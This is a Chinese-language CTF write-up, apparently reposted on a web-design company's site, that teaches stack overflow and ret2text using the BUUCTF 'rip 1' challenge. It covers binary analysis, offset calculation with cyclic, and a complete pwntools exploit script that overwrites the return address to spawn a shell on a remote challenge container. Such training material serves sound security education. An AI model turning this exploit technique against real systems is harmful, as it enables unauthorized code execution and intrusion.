ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

CTF Pwn入门实战:从rip 1理解栈溢出与ret2text利用

CTF Pwn入门实战:从rip 1理解栈溢出与ret2text利用 1. 为什么我推荐用rip 1入门pwn1.1 pwn到底在考什么pwn是CTF里最硬核的方向之一本质上就是跟程序“抢控制权”。你拿到一个编译好的二进制程序里面通常存在一些不安全的写法比如gets、strcpy、格式化字符串、堆操作错误利用这些漏洞让程序跳到你希望它执行的地方最终拿到shell然后读取flag。很多新手一听到pwn就觉得难其实它和逆向、Web不一样不需要你记住一大堆业务逻辑核心就一件事理解程序在执行时哪些数据是我们能控制的这些数据又能不能影响执行流。栈溢出是pwn里最基础、也最经典的漏洞类型。函数在调用时会往栈上分配局部变量并把返回地址压栈。如果一个输入函数不限制长度比如gets输入的字节就会一路往上覆盖直到把返回地址也改掉。当函数执行ret时CPU会把栈上这个被改过的“返回地址”弹出到指令指针寄存器程序就跑到了我们指定的位置。rip 1这道题正是把这个过程演示得明明白白程序短、漏洞点清楚、目标地址现成非常适合作为pwn入门的第一个练习。1.2 rip 1这道题的特别之处BUUCTF上的rip 1属于pwn入门题里很有代表性的一道。题目给的是一个Linux下的64位ELF文件主函数里调用了gets读入数据而程序代码段里已经藏着一个会执行system(/bin/sh)的函数。也就是说我们不需要自己构造shellcode不需要了解复杂的ROP链只要把栈溢出的偏移算准把返回地址改成那个函数入口程序就会自己给我们弹一个shell。为什么说这道题特别适合新手因为它把几个关键知识点浓缩到了一起栈帧布局、返回地址覆盖、小端序、动态调试、pwntools脚本编写。做完这一题你对pwn题的整个解题流程就有了肌肉记忆。另外BUUCTF平台对这类题目提供了动态容器不需要你自己搭建比赛环境点击启动后会分配一个临时的地址和端口用nc连上去就能直接打远程体验和正式CTF完全一致。1.3 解题的核心思维链在走进具体操作之前先把pwn题的思维链立起来。无论题目多么复杂大多数栈溢出题的解题顺序都是这样拿到程序先做信息收集用file看架构用checksec看保护机制用strings看有没有敏感字符串。静态分析通过反汇编或反编译找到输入点比如gets、read、scanf再找可利用点比如system、execve、后门函数。计算偏移搞清楚从输入缓冲区到返回地址之间到底有多少字节。构造payload用垃圾数据填充到返回地址前再把目标地址写进去。本地验证再打远程本地能getshell后换成远程地址拿到flag。这套流程就是pwn基本思路的骨架。rip 1几乎把每步都简化到了极致但每一步又都值得停下来好好理解。2. 环境准备把pwn工具箱先搭好2.1 你需要一个Linux环境pwn题目的调试基本都在Linux下进行。如果你用的是Windows直接跑Linux ELF会比较别扭依赖库、调试器、pwntools的各种功能都可能出问题。最建议的方式是装一个Ubuntu虚拟机或者用一个Kali虚拟机系统里预装了很多渗透和CTF工具。如果机器性能允许直接在实体机上装个双系统也完全没问题。WSL也可以用但有时候gdb调试和进程交互会有些小坑新手不建议在环境上浪费太多时间。装好系统后先把最基础的软件包装上。在终端执行sudo apt update sudo apt install -y gdb python3 python3-pip netcat-openbsd binutilsbinutils里自带objdump、readelf这些工具gdb是动态调试神器netcat用来连接远程端口。到这一步本地的基础环境就差不多了。2.2 安装pwntoolspwntools是pwn选手最常用的Python利用开发库可以帮我们做三件非常重要的事构造二进制payload、与本地进程或远程端口交互、分析ELF文件的保护信息。安装方式很简单pip3 install pwntools如果遇到权限问题可以在命令后面加--user。装完之后验证一下python3 -c from pwn import *; print(pwntools ok)如果没报错说明环境正常。后面写exp的时候所有发送、接收、打包地址的操作都会用到这个库所以一定要先把它装好。2.3 辅助工具与用途表除了pwntools我平时还会准备下面这些工具。并不是每个都要求精通但至少要知道它们是干什么的遇到对应场景能想起来用。工具主要用途file判断ELF文件架构、位数、是否stripchecksec查看程序保护机制如Canary、NX、PIEobjdump反汇编查看汇编指令readelf查看字符表、符号表、段表、重定位信息IDA / Ghidra反编译成接近C语言的伪代码极大提高逆向效率gdb动态调试观察寄存器、栈内存、崩溃现场pwntools构造payload、本地进程交互、远程连接nc手动连接远程端口快速验证环境其中checksec和pwntools绑定可以直接在shell里输入checksec ./pwn来运行。objdump和readelf是基础工具IDA/Ghidra在处理复杂程序时非常有用。rip 1这种简单题用objdump和gdb就足够看透了。2.4 BUUCTF上的动态容器怎么连BUUCTF很多pwn题使用的是动态容器模式。在题目页面找到“启动环境”或“打开容器”的按钮点击后会为你在线开一个隔离的运行环境页面上会显示一个地址和端口格式类似node4.buuoj.cn:27775。这个地址不是固定的容器可能会超时关闭如果连不上重新启动一个就行。连接远程的最简单方式就是ncnc node4.buuoj.cn 27775连接成功后程序会直接运行并等待输入。这里有个新手容易懵的点很多pwn题在等待输入时没有任何提示屏幕上什么都看不到。这不是卡住了而是程序在调用gets等函数等待数据。随便输入几个字符回车如果程序退出了说明远程环境正常。后续打远程时我们就是用pwntools替代nc来发送payload。3. 静态分析把程序翻个底朝天3.1 先回答三个问题多少位、什么保护、有没有后门拿到题目文件后文件名通常叫pwn或者rip先把它放到Linux里执行filefile pwn输出通常会是这样pwn: ELF 64-bit LSB executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped这告诉我们程序是64位小端序ELF动态链接没有去掉符号表。小端序意味着地址在内存里要反着写pwntools的p64函数会自动处理但我们自己心里要有数。接着执行checksecchecksec ./pwn常见的输出字段有RELRO、Stack Canary、NX、PIE。在rip 1上你大概率会看到Canary、NX、PIE都是关闭或较弱状态。这是什么意思Canary关闭意味着栈上放一个随机值用于检测溢出的机制不存在我们覆盖返回地址时不会触发栈保护检查NX关闭意味着栈段可执行后续如果想用shellcode也完全可以PIE关闭意味着程序加载基址固定代码段里每个函数的地址不会变我们直接把反汇编看到的地址写进payload就行。3.2 用objdump / IDA定位漏洞函数静态分析的第一步是找到漏洞入口。像gets、strcpy、sprintf这类不检查长度的函数几乎就是栈溢出的送分题。我们直接在反汇编结果里搜objdump -d pwn | grep gets正常会看到类似call 0x401030 getsplt的调用。这说明程序确实调用了gets。接着看main函数的完整汇编objdump -d pwn | grep -A 20 main:你会看到典型的函数序言push rbp mov rbp,rsp sub rsp,0x20 ... lea rax,[rbp-0xf] mov rdi,rax call getspltlea rax,[rbp-0xf]说明gets写入的缓冲区起始位置在rbp-0xf也就是距离栈底保存的rbp有15字节。这在后面算偏移时很关键。3.3 找到那个“白送”的后门函数用objdump把整个程序的函数列表翻出来objdump -d pwn | grep .*:除了main以外你会看到一个名字通常叫fun或者shell之类的函数反汇编内容类似000000000040118a fun: 40118a: push rbp 40118b: mov rbp,rsp 40118e: mov edi,0x402004 401193: call 401050 systemplt 401198: nop 401199: pop rbp 40119a: ret可以看到这个函数把地址0x402004作为参数传给了system。再用strings验证一下这个地址上的字符串strings -t x pwn | grep /bin/sh如果输出的是402004 /bin/sh那就完全对上了。程序本身已经调用了system(/bin/sh)我们只要劫持返回地址到0x40118a就能让程序执行system弹出的就是shell。这种利用方式在pwn里叫ret2text全称是return to text意思是返回到程序代码段中已有的可利用代码。做这类题不需要注入自己的机器码只要找到目标函数地址并覆盖返回地址即可对新手非常友好。4. 偏移计算栈布局与覆盖距离4.1 从栈帧结构理解为什么能控制ret要理解偏移必须先看明白栈帧。在一个64位程序中进入main函数后通常会执行push rbp; mov rbp, rsp; sub rsp, 0x20。这样栈上会形成一块从rbp向下延伸的局部变量区域。gets把用户输入写到这块区域如果输入长度超过缓冲区大小数据就会沿地址增大的方向继续写先覆盖保存的rbp再覆盖函数的返回地址。栈布局大致是这样的高地址 ------------------------- | 函数调用方的数据 | ------------------------- | 返回地址 | - 函数执行ret时从这里取地址 ------------------------- | 保存的rbp | - 8字节 ------------------------- | gets写入的缓冲区 | - 低地址 ------------------------- 低地址当main执行到最后的leave; ret时leave会把rsp移到rbp并弹出保存的rbpret再弹出返回地址到rip。如果返回地址已经被我们覆盖成了后门函数地址CPU就会跳到后门函数执行systemshell就到手了。4.2 用gdbpwntools的cyclic精确计算计算偏移最稳妥的方法是动态测试。pwntools自带cyclic功能可以生成一段每4个字节都不同的循环字符串。程序崩溃后从崩溃现场的寄存器或栈上取出一个值再用cyclic -l反查出它在字符串中的位置这个位置就是偏移。操作过程gdb -q ./pwn进入gdb后先给main下个断点再运行b main run程序停在main入口后用cyclic生成100个字符输入进去或者直接在shell外生成python3 -c from pwn import *; print(cyclic(100))把输出复制到gdb里继续运行程序会崩溃。此时查看info registers找到rsp或rip指向的崩溃地址。比如rip变成0x6161616c回到shell执行cyclic -l 0x6161616c输出会直接告诉你偏移数值。对rip 1这道常见版本来说结果通常是23。这一步不要靠猜远程打不通时回头重算偏移往往能解决问题。4.3 静态验证偏移为什么是23而不是15刚才静态分析里已经看到gets写入的缓冲区在rbp-0xf也就是从rbp向下偏移15字节。64位程序里保存的rbp占据8字节返回地址又在rbp8的位置所以从缓冲区到返回地址的距离就是15 8 23换成通用公式就是偏移 缓冲区起始地址到rbp的偏移 864位或 432位很多人会疑惑为什么不是直接填缓冲区大小因为缓冲区到rbp的空间只是可写区域的开始真正要控制的是rbp之后的返回地址。如果payload长度只覆盖到rbp程序返回时会跳到一个被覆盖的rbp值一样是崩溃。rip 1的偏移为23所以payload应该这样构造先写23个无关字节再写8字节的目标地址。5. 编写exp从本地打通到远程拿flag5.1 pwntools脚本的基本写法环境和分析都完成后就可以写exp了。新建一个exp.py写入以下内容from pwn import * context.arch amd64 context.log_level debug shell 0x40118A # 本地调试 sh process(./pwn) # 远程连接 # sh remote(node4.buuoj.cn, 27775) payload bA * 23 p64(shell) sh.sendline(payload) sh.interactive()第一行的from pwn import *导入了pwntools所有常用工具包括process、remote、p64、sendline。context.arch告诉pwntools目标架构是amd64这样p64之类的函数会按64位规则处理。context.log_level debug可以让脚本打印所有发送和接收的数据方便排查问题。payload里bA * 23是填充p64(shell)把整数地址0x40118A转换成8字节小端序的二进制数据。因为gets读取的是一整行输入以换行符结束所以这里必须用sendline而不是send否则gets会一直等待。5.2 本地验证步骤运行exppython3 exp.py如果一切正常脚本会进入交互模式屏幕上出现$提示符。这个$就是程序执行system(/bin/sh)之后弹出的shell。此时输入id回车能显示当前用户信息输入cat flag能读出flag文件就代表利用成功。如果本地没有flag文件可以先用ls看看当前目录或者随便建一个flag文件测试。用pwntools跑通后再关掉debug级别减少噪音输出。整个过程里最重要的是确认程序确实执行了system而不是仅仅没有报错。5.3 远程打BUUCTF拿flag本地验证通过后把脚本里的远程连接注释取消掉sh remote(node4.buuoj.cn, 27775)这里填写你在BUUCTF题目页面启动容器后分配的实际地址和端口。重新运行exp等连接建立发送payload然后同样应该会进入交互shell。输入命令cat flag就能拿到题目flag。有些情况下终端不显示$但shell其实已经弹出来了可以直接输命令试试。如果cat flag提示找不到文件先执行ls看看目录里有什么flag文件名不一定叫flag。远程打成功的那一刻你会明显感受到pwn的乐趣你向一个运行在服务器上的程序发送了一串精心构造的字节改变了它原本的执行流程最终控制了它的终端。5.4 关于栈对齐一个很容易被忽略的细节在64位环境下调用system这类libc函数时要求栈指针rsp按16字节对齐。这是System V AMD64调用约定的一部分。如果我们用ret直接跳到后门函数栈的情况可能正好差8字节导致system内部调用其他函数时崩溃。表现就是本地或者远程拿到shell前程序直接卡死或退出。解决方法是往payload里加一个ret指令的地址。查找ret gadget的方法ROPgadget --binary pwn --only ret或者用objdumpobjdump -d pwn | grep -B 1 ret然后在payload里把ret地址放在后门函数地址之前ret 0x40101A # 实际地址以本机程序为准 payload bA * 23 p64(ret) p64(shell)当程序ret到ret gadget时CPU会执行一条ret把栈顶的值弹出也就是跳到shell地址同时rsp会增加8字节这样rsp在对齐上就满足了要求。很多ret2libc和ROP题里也会用到这个技巧所以哪怕rip 1不加ret也能通我还是建议你把这个原理搞清楚。6. 常见问题与排查技巧实录6.1 本地能通远程不通这是新手最容易遇到的情况。本地exp已经能弹shell但换到远程地址就是连不上或者没反应。常见原因有几个远程动态容器已经过期需要重新启动远程环境里程序目录或flag路径不同payload中地址和服务端程序版本不匹配栈对齐问题在远程被放大。rip 1这种情况优先检查远程端口是否还活着先手动用nc连一下看看。如果nc能连但exp直接EOF考虑在payload里加ret大多数64位system调用问题都是栈对齐导致。还要注意BUUCTF有时候同一道题会有不同版本的二进制如果你是从别处下载的本地文件和服务端不一致地址就会失效。最稳妥的是直接把题目目录里下载的pwn文件拖进IDA和checksec里看地址。6.2 发送payload后卡住或报EOF用pwntools发送payload后程序没有反应或者recv的时候直接报EOFError通常要检查两件事。第一你用的是不是sendline。gets这个函数会一直读取直到遇到换行符如果你用的是send没有发送换行程序就会一直阻塞在读取状态。第二你是否在payload前发送了必要的数据比如有些程序会先打印提示信息但gets不在乎这些可以不管。还有一种情况是栈溢出后程序虽然跳到了后门函数但system执行失败直接退出了。此时用context.log_level debug看发送的数据再用gdb本地跑一遍观察崩溃前的寄存器状态大部分问题都能定位。6.3 p64地址里的空字符会不会把输入截断不少新手第一次看到p64打包结果时会发现里面有很多\x00担心gets或系统调用会把空字符当作字符串结束符导致payload不完整。这里要明确一点gets函数不是strcpy它不会因为读到\x00就停止输入它只会一直读到换行符或EOF然后把读到的所有字节原样写入缓冲区。所以像bA*23 p64(0x40118A)这样的payload正常情况下可以通过gets完整覆盖返回地址。不过有一个换行符的坑要注意。如果目标地址的低字节恰好是0x0a也就是ASCII码的换行符gets会在读到这个字节时认为输入结束导致payload被截断。遇到这种情况就需要找地址中不带0x0a的gadget或者换一个入口目标。rip 1常见的后门地址低字节是0x8a不会踩这个坑其他题目得留个心眼。6.4 常见问题速查表症状可能原因解决方法程序崩溃没进入shell偏移算错用cyclic重算偏移远程连接失败动态容器过期重新启动容器发送payload后没反应没用sendline改用sendline发送system执行后卡死栈对齐问题payload中加ret gadget远程没有输出shell已弹出但无提示符直接输入cat flag地址里有0x0a输入被换行截断找不含0x0a的gadget本地通远程不通本地文件和远端版本不一致用题目页下载的文件重新分析6.5 一些个人建议写exp的时候不要把所有值都写成魔法数字。用变量表示偏移和目标地址这样调参时只改一个地方。每次改了payload最好都在本地重新跑一遍确认没有把以前的正确配置弄坏。调pwn题很容易陷入反复试错的状态我的建议是先停下来用gdb一步一步看程序走到哪一步才不符合预期。还有一个小技巧把pwntools脚本里的context.log_level做成可配置的调试时开debug正式打远程时调成error避免刷屏影响观察。平时积累这些调试习惯后面做更复杂的题目时能省很多时间。7. 从rip 1延伸出去的pwn基本思路7.1 把一道题拆成固定套路做完rip 1你会发现pwn题并没有想象中那么神秘。大多数栈溢出题目都可以拆成几个固定步骤信息收集file、checksec、strings先确认程序架构、保护强度和敏感字符串。逆向定位用objdump、IDA或Ghidra找到漏洞函数和可利用目标。确定偏移通过静态计算或动态cyclic测试算出覆盖返回地址需要的字节数。构造利用选择ret2text、ret2shellcode、ret2libc、ROP中的合适方法。验证复用先本地打通再远程尝试最后整理出稳定的exp流程。这个套路不只适用于rip 1而是适用于绝大多数pwn入门题。后面你遇到的题越来越复杂也只是在某一步里加入了更多细节。比如Canary需要先泄漏PIE需要先算出程序基址堆题需要精心构造堆布局但思维框架不变。7.2 后续可以怎么进阶如果程序里没有后门函数但NX关闭最简单的方法是在栈上放一段shellcode然后把返回地址指到缓冲区起始位置。如果NX开启栈不可执行那就需要ret2libc通过泄漏libc函数地址来调用system。如果Canary开启不能直接覆盖返回地址需要先通过格式化字符串或读函数泄漏出那个随机值再原样保留它继续覆盖。如果PIE开启代码段地址不固定通常需要先泄漏某个函数的真实地址再算出程序基址。可以这样理解rip 1考的是栈溢出的最小闭环后续题目只是在这个闭环上不断加障碍。建议下一步去练习ret2libc和基础ROP因为栈对齐、gadget、偏移计算这些你已经在rip 1里练过转过去会很顺。BUUCTF上很多pwn题都适合用来过渡每天刷一两道比光看writeup有效得多。7.3 个人学习节奏建议我自己的体会是pwn从来不是看会的是调会的。做完rip 1之后可以试着脱离开EXP模板用gdb从头跟一遍先看main函数栈帧输入一长串字符观察返回地址被覆盖的过程再手动把返回地址改成后门函数地址。这个过程走一遍你对栈溢出的理解会比看十篇writeup都深。也可以故意改错目标地址比如把payload里的地址改成0x40118a附近的其他位置观察程序如何崩溃这样能帮助你理解哪些字节是函数入场必须的。后面做动态调试时你就知道从哪个寄存器去判断问题。最后再分享一个习惯拿到任何pwn题不要急着打开writeup先自己在虚拟机里跑一遍信息收集画一张“哪些输入点可控、哪些函数可行”的草图。rip 1虽然是入门题但这个习惯就是从这种最基础的题目里养成的。等你在后续题目里遇到复杂保护时会发现当初花在rip 1上的那些调试功夫全都值了。
返回列表